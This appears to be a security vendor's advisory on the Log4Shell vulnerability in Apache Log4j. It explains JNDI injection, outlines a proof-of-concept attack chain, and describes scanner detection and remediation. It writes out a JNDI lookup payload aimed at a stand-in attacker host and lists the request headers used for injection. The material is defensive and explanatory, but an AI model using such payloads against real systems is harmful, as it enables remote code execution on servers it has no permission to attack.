On December 09, 2021, a critical remote code execution vulnerability was identified in Apache Log4j2 after proof-of-concepts were leaked publicly, affecting Apache Log4j 2.x <= 2.15.0-rc1. The vulnerability is being tracked as CVE-2021-44228 with CVSSv3 10 score and affects numerous applications which are using the Log4j2 library.
Free Trial
Quickly Identify Your Vulnerable Web Applications Using Our Cloud Platform
Successful exploitation of this vulnerability could allow a remote attacker to download and execute arbitrary code on the target system. With the vulnerability being actively exploited in the wild, considering the gravity of the situation, Qualys Web Application Scanning has released QID 150440, 150441 which sends specially crafted requests to the target server to detect vulnerable web application instances using the Log4j2 library. Once successfully detected, users can remediate the vulnerability by upgrading to Apache Log4j2.17.1.
On December 14, 2021, CVE-2021-45046 was published to address the deficiencies in CVE-2021-44228. Later it was also identified that under non-default configuration Apache Log4j 2.15.0 could allow an attacker to exfiltrate data and achieve remote code execution (RCE). Qualys WAS team is working on improvements to our detections.
On December 27, 2021, Log4j 2.17.1 was released to patch a new arbitrary code execution vulnerability discovered in version 2.17.0. The vulnerability is tracked as CVE-2021-44832 and affects versions 2.0-alpha7 to 2.17.0 excluding security fix releases 2.3.2 and 2.12.4.
About CVE-2021-44228
Apache Log4j is an extremely popular java library used by application developers to log data, this logging functionality helps with debugging issues and security incidents. The logged untrusted data could be errors such as exception traces, authentication failures, and other unpredicted vectors of user input. If the data contains a certain payload, the JNDI lookup method triggers and executes arbitrary code from attacker-controlled servers leading to Remote Code Execution Vulnerability.
Vulnerability analysis
In Log4j2 the lookups functionality gives the user the ability to add values to the configuration at arbitrary places with ease of maintaining the format. There are multiple lookup methods such as Map Lookup, Environment Lookup, Context Map Lookup, etc.
The vulnerability was introduced in Log4j2 version 2.0-beta9 when the “JNDILookup plugin” was added as part of lookup methods to the library. As per official documentation:
“The JndiLookup allows variables to be retrieved via JNDI. By default, the key will be prefixed with java:comp/env/, however, if the key contains a “:” no prefix will be added.”
JNDI which stands for “Java Naming and Directory Interface” is a Java API which allows Java applications to perform look-ups and retrieve Java objects using protocols such as LDAP, RMI, DNS, etc. This JNDI lookup allows a developer to retrieve DataSource objects and enhance the data which is being logged by the log4j library.
JNDI Injection
On vulnerable instances of Log4j2, any data that is being logged can trigger the application to reach out to attacker-controlled servers.
As the attack vectors are not limited to specific injection points, attackers can test the vulnerability by injecting malicious JNDI lookup payloads inside HTTP request headers or via POST request form fields such as username, email, password, etc. to test this vulnerability using:
Where vulnerable instances will parse the above payload and reach out to malicious LDAP server attacker.com via JNDI lookup method to execute the rce_class.
It is safe to say that the vulnerability is present in the environment due to an improper input validation vulnerability. On any new log entry if log4j encounters a JNDI lookup string starting with ${jndi:protocol://, it will try to parse it and thereafter perform the lookup action to resolve the required variable and eventually fetch and execute the malicious rce_class.
Remote Code Execution POC:
Qualys WAS team was able to exploit the vulnerability successfully on a vulnerable instance of Log4j, below is the POC to demonstrate how attackers are exploiting this vulnerability in the real world:
Vulnerable application code :
First, the attacker injects the JNDI payload into the vulnerable application, once the input is logged by log4j, it will parse the text and try to resolve it.
Stage one : LDAP referrer
The above payload supplied by the attacker is using LDAP protocol. The log4j library on encountering this string will make a LDAP query to the target LDAP server running on 127.0.0.1:1389
Next, the attacker uses marshalsec package to setup a LDAP referrer that accepts incoming JNDI lookup request and creates a redirection to an HTTP server hosting the malicious class (Exploit.class) as show below:
Stage two: Hosting malicious class
Here, an HTTP server is hosting a malicious Java class which will execute a command to open a calculator application on the target server.
Finally, the malicious class is download and executed leading to remote code execution.
Detecting the Vulnerability with Qualys WAS
Customers can detect Apache Log4j Remote Code Execution vulnerability (CVE-2021-44228) with Qualys Web Application Scanning using QID 150440, 150441:
The WAS module injects JNDI payload into the headers listed below, application specific vulnerable endpoints and uses Out Of Band (OOB) detection mechanism where vulnerable instances will make a callback DNS query that will trigger Qualys Periscope detection mechanism :
X-Api-Version
User-Agent
Referer
X-Druid-Comment
Origin
Location
X-Forwarded-For
Cookie
X-Requested-With
X-Forwarded-Host
Accept
Authentication
Authorization
Vulnerable Applications detection covered under QID 150440:
Apache Struts2
Apache Solr
Apache Druid
Apache OFBiz
Apache JSPWiki
Qualys WAS OOB service uses unique DNS payload on every request which makes the detection mechanism accurate in identifying the vulnerability.
WAS Log4Shell Detection Methodology with Qualys Periscope
When WAS tests a web application for the Log4Shell vulnerability, the following steps are performed:
WAS makes multiple requests with specially crafted payloads in the request header fields listed above. For example, the ‘User-Agent’ here has been modified to include a specific payload to Qualys Periscope:
If the scanned application is vulnerable to Log4Shell, it will attempt to connect to the address in the modified request header. However, it must first resolve the FQDN for the domain qualysperiscope.com shown in the payload.
As part of the DNS resolution process:
The request is received by the Qualys Periscope DNS service.
The DNS service processes the request to verify the hash embedded in the request is valid. This ensures the lookup request is genuine and was generated by a WAS scan.
If the hash is verified, Periscope logs the request internally.
If verification fails, the request is dropped.
WAS then queries Periscope with the lookup request data along with the scan ID and hash for each of the injected request header payloads.
Periscope verifies the hash from WAS and either:
Matches the WAS query against a logged lookup request from the web application – the site is vulnerable to Log4Shell.
Fails to match the WAS query against a logged lookup request from the web application – the site is not vulnerable.
WAS processes the data received from Qualys Periscope, and reports any vulnerabilities corresponding to payloads which were successfully executed.
Scan Configurations :
QID 150440 has been added to the WAS Core Detection Scope, so all scans using the Core detection will include this QID in scanning. However, to expedite testing for CVE-2021-44228 across all of your web applications, it is recommended that you create a new scanning Option Profile to limit testing to only this specific vulnerability. This can be done by creating a new Option Profile and selecting “Custom Search Lists” under the Detection Scope to create a new static list.
Complete the creation wizard and add QID 150440 to the Static Search List.
Optionally you can add Information Gathered (IG) QIDs for confirmation of links crawled, scan diagnostics, etc. IG QIDs will not significantly impact the efficiency of the scan.
We recommend limiting the scan to between 50 and 100 links in scope maximum.
Additionally, configure the scan to be launched at “Maximum” Performance for faster scan completion.
Scanning with the above mentioned scan configurations will achieve two things to expedite testing your web applications in the most efficient way possible. First, we are only testing for one specific vulnerability, QID 150440. Second, as this vulnerability is only tested at the base URI and several directories up and down as appropriate, there is no need to crawl and test every link in the application. These two changes will allow each web application to be scanned faster than full Core detection scans while still providing you the necessary visibility of any vulnerable versions of Log4j2.
System Option Profile
Qualys WAS has created a system option profile named “Log4Shell Options” which is more efficient for running dedicated Log4Shell vulnerability scans.
“Log4Shell Options” is already equipped with QID 150440 and 150441, and is ready to use. Customers just have to select the option profile and run vulnerability scans.
Report : 150440
Once the vulnerability is successfully detected, users shall see similar kind of results for QID 150440 in the vulnerability scan report:
As you can see in the above report, the payload is injected inside User-Agent request header and makes a DNS lookup request to the Qualys Periscope detection mechanism.
Qualys WAS has released QID 150441 – Forms Vulnerable to Apache Log4j Remote Code Execution (RCE) Vulnerability (Log4Shell CVE-2021-44228), which injects JNDI payloads into every user input form field ex. (username, email, password) which makes it more reliable and efficient detection in comparison to open source scanning scripts written in Python and Golang which have limited scanning capability.
After injecting JNDI payloads into every form field, the vulnerable application makes a DNS lookup request to Qualys Periscope mechanism:
QID 150441 – Forms Vulnerable to Apache Log4j Remote Code Execution (RCE) Vulnerability (Log4Shell CVE-2021-44228)
Report : 150441
On successful detection, users shall see similar results in vulnerability scan report:
In the above report we can see, specially crafted payload was sent via HTTP POST request to uname parameter of the application login form, which then makes a DNS lookup request to the Qualys Periscope detection mechanism.
About CVE-2021-45046
Apache Log4j 2.15.0 was released to address CVE-2021-44228 but it turned out that the fix was incomplete in certain non-default configuration setup. In CVE-2021-45046, security measures were added to version 2.15.0 to prevent remote code execution by restricting JNDI LDAP lookups to localhost by default, i.e., a remote connection to attacker.com will be blocked in ${jndi:ldap://attacker.com payload.
According to Apache Security advisory when the logging configuration uses non-default pattern layout with a Context Lookup value ex. $${ctx:loginId-value}, attackers with control over Thread Context Map (Mapped Diagnostic Context or MDC) input data can craft malicious input data using a JNDI Lookup pattern which would allow data exfiltration and remote code execution in certain scenarios.
About CVE-2021-44832
The arbitrary code execution vulnerability discovered in version 2.17.0 affects Log4j2 instances when an attacker with permission to modify the logging configuration can construct a malicious configuration using a JDBC Appender with a data source referencing a JNDI URI which can execute remote code. This issue is fixed by limiting JNDI data source names to the java protocol in Log4j2 versions 2.17.1, 2.12.4, and 2.3.2.
The Qualys WAS research team is constantly working to find more attack vectors and will update the signatures accordingly. We are also working on detecting the vulnerability affecting applications using Log4j logging utility and will update new QIDs as needed.
Solution
It is strongly recommended to upgrade to the latest Apache Log4j 2.17.1 to remediate these vulnerabilities (CVE-2021-44228, CVE-2021-45046, CVE-2021-44832). According to Apache Security Advisory version 2.17.1 also remediates DoS vulnerability (CVE-2021-45105) which was present in version 2.16.0.
In cases where upgrading the version is not possible, we recommend applying the following mitigation guidelines:
For Log4j 1.x : Applications using Log4j 1.x are only vulnerable to CVE-2021-44228 when they use JNDI in their configuration. CVE-2021-4104 has been filed to track this vulnerability and can be mitigated by auditing logging configuration to ensure it has no JMSAppender configured.
For Log4j 2.x : Implement one of the mitigation techniques below :
Upgrade to Log4j 2.3.2 (for Java 6), 2.12.4 (for Java 7), or 2.17.1 (for Java 8 and later).
In prior releases confirm that if the JDBC Appender is being used, it is not configured to use any protocol other than Java.
Remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
Does sufficient data exist from previous Qualys WAS assessments for the engine to indicate where log4j has been previously detected, rather than running new scans over the sites again?
We understand that any updates to the sites could have implemented it without our knowledge, but it would be a great early option to assist in initial action prioritisation.
Does sufficient data exist from previous Qualys WAS assessments for the engine to indicate where log4j has been previously detected, rather than running new scans over the sites again?
We understand that any updates to the sites could have implemented it without our knowledge, but it would be a great early option to assist in initial action prioritisation.